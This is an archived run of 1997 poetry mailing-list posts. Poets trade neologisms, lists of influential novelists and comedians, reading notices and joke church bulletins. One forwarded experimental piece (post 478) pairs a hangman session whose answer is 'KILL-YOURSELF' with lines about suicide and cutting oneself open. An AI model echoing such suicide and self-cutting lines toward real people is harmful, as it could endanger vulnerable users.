insaucience--what happens when you fall in the gravy.

This one's for Gwyn McVay, who deserves it.

↑ Index

443. **Rachel Loden**
Profumo Mon Amour
Tue 15 Jul 1997

David Bromige, on how to bower:

> *Just speak basso profumo & keep it short.*

So what does that make me, Mandy Rice-Davies?

But on to what I read for inspiration: Buk, of course, and I agree with George about the Ashbery influence, especially noticeable in "Absence of a Mattress" and "Picture of Little C. B. in a Prospect of Vomit."

Rachel L.

↑ Index

444. David R. Israel
Re: Neologism / (gravy trail)
Tue 15 Jul 1997

Mark Weiss initiates a neo-neolo. thread:

> *insaucience--what happens when you fall in the gravy.*

how about:
souciety: whom one's with, when is in company w/ the sauced

also, the recent appearance of Raymond Carver's name (on Maria Damon's fiction-writer roster) recalls Caver's utterance (after he was diagnosed w/ terminal cancer) to the effect that he was grateful to have been able to have so happy a final decade (or thereabouts) of life (in wake of more troublous years) -- and that indeed, he regarded the whole personal epoch as "gravy" --

an expression that (with rather different spin) our freshman-year chemistry professor used for such information as the brood of premeds needn't consider directly relevant to an upcoming quiz --

also recalling Wavy Gravy of 60s fame --

also skirting around borders of the "grave" & "gravity" of gravy --

what to make of it? . . .

groovy for 60s, gravy for 90s? gravitas for 00s? . . .

sauce for the goose, gravy for the gander . . . ?

d.i.

↑ Index

445. Jordan Davis
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

Henry James, Ford Madox Ford, Anton Chekhov, Ivan Turgenev, Georges Bataille, Nicholas Mosley, Leonardo Sciascia, Nathaniel Hawthorne, Djuna Barnes, Jane Bowles, Italo Svevo, Laurence Sterne, Jack Kerouac, Emily Bronte, Charlotte Bronte, Yasunari Kawabata, Terry Southern, Thomas Bernhard,

Marguerite Duras, Edgar Allan Poe, R. L. Stevenson (the fables), Flann O'Brien, James Joyce, Harry Mathews, Stendhal, Thomas Pynchon (49), Machado de Assis, Valery Larbaud, and Herman Melville.

What comedians do people find inspiring? I fall back on Shelly Berman and Emo Phillips. I know Stephen Wright has a following among poets, and I know Maria D's written on Lenny Bruce. Fess up!

Jordan

↑ Index

446. Bennett M. Sm [Dimpson

Re: influential writers/fiction

Tue 15 Jul 1997

---

fictions:

walter abish, sir walter scott, russel hoban's _ridley walker_ (but the _frances_ books too), john hawkes, alasdaire gray, f-l-a-u-b-e-r-t, kathy acker, michel leiris, lautreamont, nathaniel west, f-i-r-b-a-n-k, dorris lessing's _the good terrorist_, many others not so high, can't think, I like magazines a lot. don't like denis johnson or richard ford. boys, men.

Has anyone read the new denis cooper? _Guide_? I started it this week and it's not inspiring, not titillllllllating, obliquely critical, kinda nauseating and very far from my reality (does this make me a stump?). The dustjacket is calling him the new Genet. Well, huh. The characters are boring (but maybe not as much as they're supposed to be). I do like some of the stylistic tics however. Flatness going places.

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

447. Daniel Bouchard

Re: influential writers/fiction/comedians

Tue 15 Jul 1997

Revered novelists (wouldn't say they're influential as such):

Jane Austen, Mark Twain, Tolstoy, Gore Vidal, Gilbert Sorrentino, James Baldwin, Edith Wharton, Willa Cather, HG Wells, Thomas Love Peacock, and Petronius

Comics?

Can't think of any. I'm not a very funny person to begin with.

Trumpeters?

Miles Davis
Kenny Dorham
Lee Morgan

[redacted]

↑ Index

448. **Mark Weiss**
Re: Neologism / (gravy trail)
Tue 15 Jul 1997

David--you seem to approach this with rather less gravyty than I had hoped.

At 12:05 PM 7/15/97 -0400, you wrote:
>Mark Weiss initiates a neo-neolo. thread:
>
>> insaucience--what happens when you fall in the gravy.
>
>how about:
>souciety: whom one's with, when is in company w/ the sauced
>
>also, the recent appearance of Raymond Carver's name (on Maria
>Damon's fiction-writer roster) recalls Caver's utterance (after he was
>diagnosed w/ terminal cancer) to the effect that he was grateful to
>have been able to have so happy a final decade (or thereabouts) of
>life (in wake of more troublous years) -- and that indeed, he regarded
>the whole personal epoch as "gravy" --
>
>an expression that (with rather different spin) our freshman-year
>chemistry professor used for such information as the brood of premeds
>needn't consider directly relevant to an upcoming quiz --
>
>also recalling Wavy Gravy of 60s fame --
>
>also skirting around borders of the "grave" & "gravity" of gravy --
>

>what to make of it? . . .
>
>groovy for 60s, gravy for 90s? gravitas for 00s? . . .
>
>sauce for the goose, gravy for the gander . . . ?
>
>d.i.
>
>

↑ Index

449. **David Bromige**
brecht/poetry/sf/'74
Tue 15 Jul 1997

---

one grain of rice along this Influence Trail : a poem I wrote in response to BB's "Grosser Dankchoral"-- with which I found myself substantially in agreement, but which, in its use of the idea of heaven in stanza 3,(though not in stanza 4), appears in contradiction with itself...

After Brecht

Be thankful it's this dark.
Nobody knows what you're up to.
What if they did--
who's to say its wrong.

Anything we want to do,
as long as we can find the energy,
we do it. That's how come
it's getting darker all the time.

What if some dark night
they do you in. No last moments
marred by the injustice of it all.
I don't know who to thank.

(this was in _Tight Corners_, Black Sparrow, 1974).

Yes, I recall much discussion of _ostrananie_ during the talks & workshops of the late 70s, which Ron S is correct to hook up with BB's estrangement of audience, which could have gone further were he not such "a man of the people", in whom "the tree of heaven" still grew. I'm not complaining -- to whom complain? I think Brecht is amazing. "Is the enemy still making movements in your rear?" (Btw, Bob Grumman's mention of the "Reverse Bowering Initial Syndrome" puts me in mind of Bob Grenier, who did a wonderful translation of a one-act play of

BB's sometime in late 70s/early 80s which appeared where, Ron? _Jimmy & Lucy's House of K_ ?)

++++++++++++++

On a probably related subject,"How to Bower", I say to Rachel, whose fund of what used to be called when I went to school, General Knowledge, puts her close to the top of the class or at it, "Well, you would say that, wouldn't you?"

That being Mandy Rice-Davies' most famous line in the Profumo Trial. (One more grain in the Mandy Rice-Davies Trail.)

++++++++++++++

Theologism : behave-y trail.

+++++++++++++++

Henry James, Steve Martin, John Dos Passos, Stephen Wright, Evelyn Waugh, Bernard Miles, Scott Fitzgerald, Robin Williams, Malcolm Lowry, Richard Pryor.

David

↑ Index

450. David Bromige

I misaddressed the initial posting of this, and it hasnt turned up in my "in" bin yet, so perhaps it's not going thru

Tue 15 Jul 1997

> *To:*[redacted]
> *From:*[redacted] *(David Bromige)*
> *Subject:ps to my latest post*
>
> *Margaret Atwood, Carol Burnett, A.S.Byatt, Lily Tomlin, Edith Wharton, Rosie O'Donnell, Sherril Jaffe (the first two books),Twiggy (in "The Boy Friend"),Alice Munro, Cannabis Sativa, Gertrude Stein...*
>
> *& back to the men for a minute, I'm curious no-one so far (but I've been skimming) has named D.H.Lawrence or Wyndham Lewis? David*

↑ Index

451. David Israel

& from the dudes

Tue 15 Jul 1997

DBromige wrote --

> *& back to the men for a minute, I'm curious no-one so far (but I've been skimming) has named D.H.Lawrence or Wyndham Lewis? David*

well at the moment I'm reading Dashiell Hammett's *The Thin Man* for 1st time, & much enjoying (though one does miss the Chandler similes)...

as for Lewises, C.S.'s *Till We Have Faces* was influential in my yooth

as for recent fiction, Vikram Chandra's *Red Earth / Pouring Rain* merits mention -- though as for current So.Asian fare, really I'm looking forward to getting Arundhati Roy's highly promoted (& much discussed in some circles) *The God of Small Things* . . .

d.i.

↑ Index

452. George Bowering
Re: infloo
Tue 15 Jul 1997

I forgot to mention Douglas Woolf, Fielding Dawson and Wm Eastlake.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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453. Mary Burger
San Francisco Reading
Tue 15 Jul 1997

2nd Story Reading Series:

George Albon and Hung Tu
Friday, July 25
7:30 p.m.

1253 Hampshire Street (Btw. 24th and 25th, 1 block west of Potrero Ave.) San Francisco, 94110

Accessible by #9, 33, 48 buses; 24th Street BART

More information:
[redacted]

Mary Burger
User Education
Adobe Systems Inc.
[redacted]

↑ Index

454. Steven Marks
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

> >What comedians do people find inspiring?
Mort Sahl
Benny Hill
Peter Cook
Mel Brooks
Rowan Atkinson

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

455. Alan J Sondheim
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

On Tue, 15 Jul 1997, Steven Marks wrote:

> *What comedians do people find inspiring?*

None, now. Wright is stale. Bruce is dead. TV comics are that. Keaton holds up but absorbed. Roseanne's over. Nothing sears. The dead will not rise. One more New York / LA joke and I'm out the window. Alan

↑ Index

456. David Israel
what about Reno?
Tue 15 Jul 1997

[was:
Re: influential writers/fiction/comedians]

Alan J Sondheim allows:

> *What comedians do people find inspiring?*
> *None, now. . . One more New York / LA joke and I'm out the window.*

what about (or what has happened with) the East Village's pomo(ish), performance(ish), feminist(ish) quick-fire voluble out-there in-your-face comedienne Reno?

She was quite a hoot (& seemed to make quite a sensation) abt. 10 years ago, esp. at PS 122 (for several seasons) -- & she did what seemed a rather swift local rise-to-(some) prominence, playing (at least) such "establishment avant garde" venues as the Serious Fun festival at Lincoln Center. Any word? Any critique? . . . anything?

d.i.

↑ Index

457. George Bowering
Re: The language of influence
Tue 15 Jul 1997

> *On Mon, 14 Jul 1997, Steven Marks wrote:*
>
> *Looking over this list, I notice a number of fiction writers. What fiction*
> *(or nonfiction writers) influence all of you?*
>
> *cheers,*
> *Steven*
>
> *Well, I dont know that I want to talk about influencing, but there are fiction writers that I like to read because of the delight given to me by the actual Writing (the sort of thing that will not happen in a book by Saul Bellow, for example.)*
>
> *So in no order: Jerome Charyn, Harry Matthews, Sheila Watson, Georges Perec, James Lee Burke, H.D., Samuel Beckett, Raymond Queneau, Robert Kroetsch, Nicole Brossard, Gail Scott, Adolfo Bioy Casares.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

> *e-mail:* [redacted]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

458. George Bowering
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

> *What comedians do people find inspiring?*

William Clinton

Bob Dole

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

459. Maria Damon
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

At 12:21 PM +0100 7/15/97, Kali Tal wrote:
>>What comedians do people find inspiring?
>
lenny bruce
richard pryor
sometimes steve martin is funny, but "inspiring"? i don't know
firesign theatre

↑ Index

460. **Maria Damon**
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

At 4:26 PM -0400 7/15/97, Alan J Sondheim wrote:
>On Tue, 15 Jul 1997, Steven Marks wrote:
>
>> > >What comedians do people find inspiring?
>
>None, now. Wright is stale. Bruce is dead. TV comics are that. Keaton
>holds up but absorbed. Roseanne's over. Nothing sears. The dead will
>not rise. One more New York / LA joke and I'm out the window. Alan

oh wait, i cant' believe i forgot the marx brothers. and i spoze josephine baker at the very beginning of her career cd be considered a comedienne. when i was a kid i liked pat paulsen on the smothers brothers... and of course, the incomprarable mae west!! is holly hughes a comedian? if so, sign her on.

↑ Index

461. **Maria Damon**
Re: what about Reno?
Tue 15 Jul 1997

---

saw reno abt 9 yrs ago, funny but i guess not memorable enough to spring to mind when the q was posted. my life is so intertwined w/ lenny bruce (his spirit not his life) that i found it hard to come up w/ anyone but him, until i saw other posts.

At 5:19 PM -0400 7/15/97, David Israel wrote:
>[was:
>Re: influential writers/fiction/comedians]
>
>Alan J Sondheim allows:
>
>> > >What comedians do people find inspiring?
>>None, now. . . One more New York / LA joke and I'm out the window.
>
>what about (or what has happened with) the East Village's pomo(ish),
>performance(ish), feminist(ish) quick-fire voluble out-there in-your-face
>comedienne Reno?
>
>She was quite a hoot (& seemed to make quite a sensation) abt. 10 years

>ago, esp. at PS 122 (for several seasons) -- & she did what seemed a
>rather swift local rise-to-(some) prominence, playing (at least) such
>"establishment avant garde" venues as the Serious Fun festival at Lincoln
>Center. Any word? Any critique? . . . anything?
>
>d.i.

↑ Index

462. **Dean Taciuch**
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

On Tue, 15 Jul 1997, Jordan Davis wrote:

> *What comedians do people find inspiring? I fall back on Shelly Berman and Emo Phillips. I know Stephen Wright has a following among poets, and I know Maria D's written on Lenny Bruce. Fess up!*
>
> *Jordan*

Bill Hicks. Not an inspiration to write, but an inspiration nonetheless, and the only comedy recordings I've actually purchased since, I don't know, fifth grade.

If anyone's interested, two posthumous CDs have just been released, the last of which (_Rant in E Minor_) has some rather disturbing audience alienation effects.

"Welcome to 'You're Wrong Night'"

Dean

↑ Index

463. **Mark Weiss**
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

This kind of incendiary stuff is why the Canada-US border needs to be sealed.

At 03:04 PM 7/15/97 -0700, you wrote:
>>>What comedians do people find inspiring?
>
>William Clinton
>
>Bob Dole
>
>
>

>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

↑ Index

464. **Mark Weiss**
Inspiring comedians
Tue 15 Jul 1997

Mel Brooks, Sid Caesar, Spike Jones, WC Fields, Marx Brothers, Buster Keaton.

↑ Index

465. **Pritchett,Pat**
Re: what about Rickles?
Tue 15 Jul 1997

What? No Don Rickles? Whattsamatta with you hockey pucks? But seriously, folks - only last night as we watched him on Letterman, my wife remarked: "I've hated that man for 40 years." Then we noticed how age had mellowed him - indeed, he had to make a visible effort to work himself up into what was only a mild fit of bellicose indignation. I've always found him incredibly obnoxious - but he's a superb technician of the joke in matters of delivery, timing, improvising and above all, at reading the audience's degree of self-loathing - which wld make him an interesting case study, perhaps. The poetics of self-degradation. Of course, this would apply to many comics and not a few poets (Berryman, Lowell, perhaps Crane?). I _still_ haven't read your piece on Lenny Bruce, Maria - do you deal with this much?

Patrick Pritchett

From: Maria Damon
To: POETICS
Subject: Re: what about Reno?
Date: Tuesday, July 15, 1997 6:16PM

saw reno abt 9 yrs ago, funny but i guess not memorable enough to spring to mind when the q was posted. my life is so intertwined w/ lenny bruce (his spirit not his life) that i found it hard to come up w/ anyone but him, until i saw other posts.

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466. **David Israel**
Re: Inspiring comedians
Tue 15 Jul 1997

<< Mel Brooks, Sid Caesar, Spike Jones, WC Fields, Marx Brothers, Buster Keaton. >>

come to think of it, I'm a fan of Garrison Keillor (including his several comedic routines -- thinking Guy Noir, the Duck Tape ads, the French restaurant, et alia) --

pity I can't seem to get radio reception in this office building -- no NPR, no Linda Gross, no G. Keillor . . . deprived . . .

d.i.

↑ Index

467. **George Thompson**
Re: influential writers/fiction/comedians
Tue 15 Jul 1997

Some personal favorites:

linguist/theorist: Roman Jakobson

post-Joyce novelist: Wm Gaddis [only _The Recognitions_]

all-time philosopher: Shankara [Plotinus second place]

comedian: Ronald Reagan [Geo. Bowering <= DB> second place <the fate of Canadians)]

teacher: the Buddha [also all-time]

GT

↑ Index

468. **Mark Weiss**

(no subject)

Tue 15 Jul 1997

The following came to me from a friend who's always looking out for my interests. I don't know his source. I thought I'd pass it along, as it's damned close to poetry.

The following announcements actually appeared in various church bulletins:

1. Thursday night - Potluck supper. Prayer and medication to follow.

2. Remember in prayer the many who are sick of our church and community.

3. For those of you who have children and don't know it, we have a nursery downstairs.

4. The rosebud on the alter this morning is to announce the birth of David Alan Belzer, the sin of Rev. and Mrs. Julius Belzer.

5. This afternoon there will be a meeting in the South and North ends of the church. Children will be baptized at both ends.

6. Tuesday at 4:00 PM there will be an ice cream social. All ladies giving milk will please come early.

7. Wednesday the ladies liturgy will meet. Mrs. Johnson will sing "Put me in my little bed" accompanied by the pastor.

8. Thursday at 5:00 PM there will be a meeting of the Little Mothers Club. All ladies wishing to be "Little Mothers" will meet with the Pastor in his study.

9. This being Easter Sunday, we will ask Mrs. Lewis to come foreward and lay an egg on the alter.

10. Next Sunday a special collection will be taken to defray the cost of the new carpet. All those wishing to do something on the new carpet will come foreward and do so.

11. The ladies of the church have cast off clothing of every kind. They can be seen in the church basement Saturday.

12. A bean supper will be held on Tuesday evening in the church hall. Music will follow.

13. At the evening service tonight, the sermon topic will be "What is Hell?" Come early and listen to our choir practice.

↑ Index

469. **George Thompson**
Re: religious poetry
Tue 15 Jul 1997

Mark,

Some of us have been saying all along that what poetry needs is that old-time religion.

See?

George

> *The following came to me from a friend who's always looking out for my interests. I don't know his source. I thought I'd pass it along, as it's damned close to poetry.*
>
> *The following announcements actually appeared in various church bulletins:*
>
> *1. Thursday night - Potluck supper. Prayer and medication to follow.*
>
> *2. Remember in prayer the many who are sick of our church and community.*
>
> *3. For those of you who have children and don't know it, we have a nursery downstairs.*
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>
> *5. This afternoon there will be a meeting in the South and North ends of the church. Children will be baptized at both ends.*
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>
> *9. This being Easter Sunday, we will ask Mrs. Lewis to come foreward and lay an egg on the alter.*
>
> *10. Next Sunday a special collection will be taken to defray the cost of the new carpet. All those wishing to do something on the new carpet will come*

> *foreward and do so.*
>
> *11. The ladies of the church have cast off clothing of every kind. They can be seen in the church basement Saturday.*
>
> *12. A bean supper will be held on Tuesday evening in the church hall. Music will follow.*
>
> *13. At the evening service tonight, the sermon topic will be "What is Hell?" Come early and listen to our choir practice.*

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470. Shaunanne Tangney
Re: Inspiring comedians
Tue 15 Jul 1997

On Tue, 15 Jul 1997, David Israel wrote:

> *<< Mel Brooks, Sid Caesar, Spike Jones, WC Fields, Marx Brothers, Buster Keaton. >>*

dick gregory, richard pryor, george carlin, bill cosby (a generation ago...when we were little kids, my brother and i memorized every word of "I Started Out as a Child"--i still remember half of it!), robin williams, phyllis diller, shelly berman

--shaunanne tangney

↑ Index

471. Jordan Davis
Re: influential ... comedians / more urban boosterism
Tue 15 Jul 1997

Jake Johanssen: "I moved to San Francisco from where I grew up in Iowa recently... nobody told me until recently that we were free to go."

Bob and Ray: "It's good that all these apartments have bright elks. It would be terrible to have an apartment with a slow elk."

Monty Python -- won't reveal that I'm one of those scary people who know all the words to "Spanish Inquisition" --

The comedy bits on Conan O'Brien's show (I don't mean the interviews) are fantastic -- especially anything with the ostrich or the bear -- the bit where Conan finds a lost leather jacket, can't decide whether to turn it in, and the devil pops up on his shoulder ("I am your devil, Conan") advising him to keep it -- Conan scratches his chin, says "I dunno", looks to his other shoulder -- a bear pops up

on his other shoulder ("I am your bear") advising him to keep three limbs on the shore when he hunts for salmon or trout --

The Simpsons (also Conan O'Brien) --

Are there other poets out there who've done their tv time?

J

↑ Index

472. **Layne Russell**
Re: Inspiring comedians
Tue 15 Jul 1997

I still love that 60's remnant, Gallagher....

Layne

↑ Index

473. **Layne Russell**
Re: Notable Omission/comedians
Tue 15 Jul 1997

David Bromige wrote:
>
> I can't beLIEVE this! I I I mean, th-this is inCREDible! I mean, you you
> you gotta be KIDding me! I mean, you mean there wasn't ONE, SINGLE PERSON
> out there who who even men-mentioned my NAME?! It's its its simply
> inCREDible! I can't beLIEVE it!
>
> woody.

woody bromige will be reading Wednesday night the 16th in Sonoma at Viva Sonoma 7 p.m. in the garden.

layne (will also be reading)

--
*~***~***~***~***~***~***~***~***~*

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

http://www.sonic.net/layne/wedding.html
"Weddings Your Way" -- Sonoma County Ceremonies

*~***~***~***~***~***~***~***~***~*

↑ Index

474. **Layne Russell**
Re: influential writers
Tue 15 Jul 1997

Upanishads, Rumi, Sappho

layne

↑ Index

475. **Maria Damon**
Re: what about Rickles?
Tue 15 Jul 1997

At 6:46 PM -0500 7/15/97, Pritchett,Pat @Silverplume wrote:
... The poetics of self-degradation. Of course, this would apply to
>many comics and not a few poets (Berryman, Lowell, perhaps Crane?). I
>_still_ haven't read your piece on Lenny Bruce, Maria - do you deal with
>this much?
>
>Patrick Pritchett
> ----------

uh...sort of, but not the extent that albert goldman does, in Ladies and Gentlemen, Lenny Bruce!, which is a bit creepy in that regard, reveling in Bruce's abjection and other forms of hyperbole (referring to Jews as "the most despised race in history" etc) aiming, i guess, for a sort of titillating voyeuristic pathos. i'm totally into the pathos i must admit, tho i hope not the titillation, and a few folks have complained about my paper that it's more tragic than funny. it may still be up at the postmodern culture website.

↑ Index

476. **Maria Damon**
Re: what about Rickles?
Tue 15 Jul 1997

At 6:46 PM -0500 7/15/97, Pritchett,Pat @Silverplume wrote:
...self-loathing - which wld make him an interesting case study,
>perhaps. The poetics of self-degradation. Of course, this would apply to
>many comics and not a few poets (Berryman, Lowell, perhaps Crane?). I
>_still_ haven't read your piece on Lenny Bruce, Maria - do you deal with
>this much?

>
>Patrick Pritchett
> ----------
ps i am a sucker for this sort of thing: kaufman, jonas, bruce, artaud,
etc. i was very taken with bruce boone's talk on "Queer Beat Losers" last
november, for example, where he spoke movingly about john wieners' later
appearances in san francisco.

↑ Index

477. Maria Damon
Re: influential ... comedians / more urban boosterism
Tue 15 Jul 1997

At 9:35 PM -0400 7/15/97, Jordan Davis wrote:
>Jake Johanssen: "I moved to San Francisco from where I grew up in Iowa
>recently... nobody told me until recently that we were free to go."
>

ah, how true. another paean to the midwest...

> *Monty Python -- won't reveal that I'm one of those scary people who know all the words to "Spanish Inquisition" --*

oh, yeah, i forgot about them, they can make me laugh...
>

>
>The Simpsons (also Conan O'Brien) --
>
oh, yeah, how cd i forget? i don't have a tv, but in my months on the cape
i took in the simpsons once or twice. how incredibly fun.--md
>J

↑ Index

478. Alan J Sondheim
HANGMAN: STOP HER!!! (fwd)
Tue 15 Jul 1997

-

HANGMAN: STOP HER!!!

ID XAA00311; TUE, 15 JUL 1997 23:11:34 -0400
DATE: TUE, 15 JUL 1997 23:11:34 -0400 (EDT)
FROM: RHS LINUX USER <[redacted]>

TO: [redacted]
SUBJECT: DO SO

DO SO HELP POOR JENNIFER CAUGHT IN TINY EMAIL HANGMAN DEAD PROGRAM DO SO DEAREST DO HELPEST POOREST JENNIFER

I PLAY HANGMAN DO PLAYEST HANGMAN DEAREST JULU

I AM SO AFRAID-AND-FEARFUL-JENNIFER DO HELPEST POOR DEAREST JENNIFER

THE MOON IS WAXING GIBBOUS (81% OF FULL)
THE HANGMAN IS COMING OUT:

{B:1} HANGMAN
Error opening terminal: unknown.
{B:2} /usr/games/HANGMAN
Error opening terminal: unknown.
{B:3} pwd
/root
{B:4} TERM=VT100
{B:5} HANGMAN
{B:6} {B:6} HANGMAN HANGMAN
Error opening terminal: VT100.

```
   ______
   |    |
   |    O                          Guessed:  acefikloprstuy
   |   /|\
   |    |                         Word #:          1
   |   /                          Current Average:  6.000
 __|_____                            Overall Average:  0.000
|      |___
|_________|
```

Word: KILL-YOURSELF

Guess:
You got it!
Another Word?

ONE LEG OFF THE GROUND I CANNOT GUESS SUICIDE BECAUSE I AM TOO-GOOD-JENNIFER

BUT I DO GET THE TRUTH AS THERE HAPPEN TO BE 1-2-3-4 WAYS TO PARADISE

AND I DO SO TRUE CARRY OUT BEAUTY-JULU

NOW I SHALL CUT MYSELF OPEN AND NOW I SHALL JOIN BEAUTY-ALAN

↑ Index

479. **Wendy Battin**
Re: influential writers/fiction/comedians
Wed 16 Jul 1997

Meatball Fulton & everybody at ZBS Studios. (Moon Over Morocco, Ruby, etc etc.)

Wendy

---------- Wendy Battin
http://www.geocities.com/SoHo/Lofts/5471/ashland.html

↑ Index

480. **Dan Raphael Dlugonski**
influential writers
Wed 16 Jul 1997

---

i find this whole discussion kind of strange because the concept of, looking for inspiration when you need to write. i either create or i dont. if i have to force it out i dont think its worth doing (poetry that is. other writing deadlines like reviews are another method). yes, i like a lot of writers, but as for going to my book shelf so i can write a poem, that seems an alien concept, forcing inspiration.

↑ Index

481. **Bennett M. Sm [Dimpson**
Re: influential writers/fiction/comedians
Wed 16 Jul 1997

E. Kovacs, E. Murphy (c'mon!), Jerry L=E=W=I=S, Cora Diamond (wasn't that the bailiff from "Night Court" --not "Bull"?),

Tom Noonan has a great comic/disturbing vacancy, like he's waiting for you to tell the joke so as to correct your punchline,

Marx Bros., Fatty Arbuckle, Lily Tomlin, the manic "monkey boy" of recent SNL episodes,

have animals ever achieved screen/tv success as comic figures (aside from gag cameos and Mr. Ed)?

What poets do poets think would make excellent comedians?

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

482. Bennett M. Sm [Dimpson

Re: influential writers

Wed 16 Jul 1997

Other books are EX-LAX to me. I don't know what I'd do without someone else's better lines and/or their examples. It's not exactly forcing inspiration so much as conceeding the fact that inspiration isn't always desirable, available. Tough, true poets. Often inspiration is a con anyway, a magic wand a hare too short. And beyond this, just because a book is "inspirational" or "compelling" or whatever doesn't mean it'll get words flowing. These are books that make one want to write, while the actual writing is still another thing. THen again, I've no problem with sampling.

Bennett.

On Tue, 15 Jul 1997, Dan Raphael Dlugonski wrote:

> *i find this whole discussion kind of strange because the concept of, looking for inspiration when you need to write. i either create or i dont. if i have to force it out i dont think its worth doing (poetry that is. other writing deadlines like reviews are another method). yes, i like a lot of writers, but as for going to my book shelf so i can write a poem, that seems an alien concept, forcing inspiration.*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

483. **David Bromige**
Notable Omission/comedians
Wed 16 Jul 1997

I can't beLIEVE this! I I I mean, th-this is inCREDible! I mean, you you you gotta be KIDding me! I mean, you mean there wasn't ONE, SINGLE PERSON out there who who even men-mentioned my NAME?! It's its its simply inCREDible! I can't beLIEVE it!

woody.

↑ Index

484. **Bennett M. Sm [Dimpson**
Re: Notable Omission/comedians
Wed 16 Jul 1997

Can you do this for Don Knotts too? --Please--.

On Tue, 15 Jul 1997, David Bromige wrote:

> *I can't beLIEVE this! I I I mean, th-this is inCREDible! I mean, you you you gotta be KIDding me! I mean, you mean there wasn't ONE, SINGLE PERSON out there who who even men-mentioned my NAME?! It's its its simply inCREDible! I can't beLIEVE it!*
>
> *woody.*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

485. **George Bowering**
Re: Inspiration
Wed 16 Jul 1997

Who's your favourite diplomat?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

486. Hugh Steinberg
Re: influential writers
Wed 16 Jul 1997

Dan writes:

> *i find this whole discussion kind of strange because the concept of, looking for inspiration when you need to write. i either create or i dont. if i have to force it out i dont think its worth doing (poetry that is. other writing deadlines like reviews are another method). yes, i like a lot of writers, but as for going to my book shelf so i can write a poem, that seems an alien concept, forcing inspiration.*

I approach my bookshelf more as a resource, like a refrigerator, than as means for forcing inspiration (books as ingredients, sure; books as meals or snacks, but of course; as laxatives? feh!). Since I primarily work in collage, I literally devour texts, and so long as the language is interesting I'm not all too picky. I got a lot of poems out of a found text, "German Spies at Bay," a rather jingoistic book from the 1920's extolling the heroism of British counterespionage during WWI. Also, a lot of bad art inspires me, as it makes me question what can be done better.

As for comfort food: Kafka (the short stories), Borges (especially his collaboration with Adolfo Bioy Casares as H. Bustos Domecq), Bilge Karasu, Jabes, Barthes, Foucault, Kristeva, Cixous, this great book of essays on music by Al Young, "Drowning in the Sea of Love," Eduardo Galeano, Cordwainer Smith, Alison Deming, Mrabet. Jean Cocteau's films, also Mel Brooks and even though he's an increasingly loathsome creep, Woody Allen.

Hugh Steinberg

↑ Index

487. Schuchat Simon
Re: Inspiration
Wed 16 Jul 1997

On Wed, 16 Jul 1997, George Bowering wrote:

> *Who's your favourite diplomat?*

George Kennan

Townsend Harris

William Seward is most outstanding Secretary of State

I commend an excellent piece by Alexis Leger (St John Perse) in his selected letters (Bollingen published) describing a coup in 1920s Peking

& of course E.H. Norman, outstanding (& tragic) Canadian diplomat

↑ Index

488. **rsillima**
organizing academics
Wed 16 Jul 1997

Acodominants of the world unite,

Ron

To: [redacted]
From: [redacted]
Subject: organizing academics

Dear folks:

This is a new initiative coming from the Michigan folks. If you're an academic writer or know some academic writers, you might consider contacting the SE Michigan Local.

John

>
>* * *
>
>FOR IMMEDIATE RELEASE
>
>Southeast Michigan Local of National Writers Union
>Receives $1,000 Grant to Organize Academic Writers
>
> Ann Arbor, Michigan, June 24,1997--The Southeast Michigan local of the
>National Writers Union, UAW local 1981 (SEM-NWU) has received a $1,000 grant
>from the National Writers Union to begin an Academic Writers Organizing
>Campaign. The announcement was made at the National Writers Union Delegates
>Assembly in Philadelphia on Sunday June 22. Co-chairs Ken Wachsberger, from
>Ann Arbor, and Amy Rose, from Detroit, wrote the proposal and presented it
>at the Assembly.
>

> The main purposes of the campaign will be to study publishing conditions of
>academic writers in the Southeast Michigan area and to develop a "Code of
>Conduct for Academic Writers and Publishers." The initial focus will be on
>Eastern Michigan University, Michigan State University, University of
>Michigan, and Wayne State University,
>
> According to Rose, a former college professor and now a freelance
>instructional writer, the grant is recognition on the part of the union's
>national leadership that economic and working conditions for academics are
>getting steadily worse. "Faculty often work for years without getting into
>the better-paying tenure track," she notes. "They have no job security and
>few or no benefits. Publishing is still a professional necessity. However,
>it is increasingly also an economic necessity. Unfortunately, and often out
>of ignorance or fear, academic writers give away all their publishing
>rights. Many, for instance, let book publishers steal away their copyrights
>because contracts are written by publishers' lawyers and academic writers
>don't assert their rights to retain them."
>
> Wachsberger, a long-time author, journalist, and editor, has been a leader
>of the five-year effort by the Michigan Federation of Teachers & School
>Related Personnel to unionize lecturers at Eastern Michigan University,
>where he teaches writing. He sees a natural alliance between the campus
>teachers' unions and the NWU's Academic Writers Organizing Campaign. "The
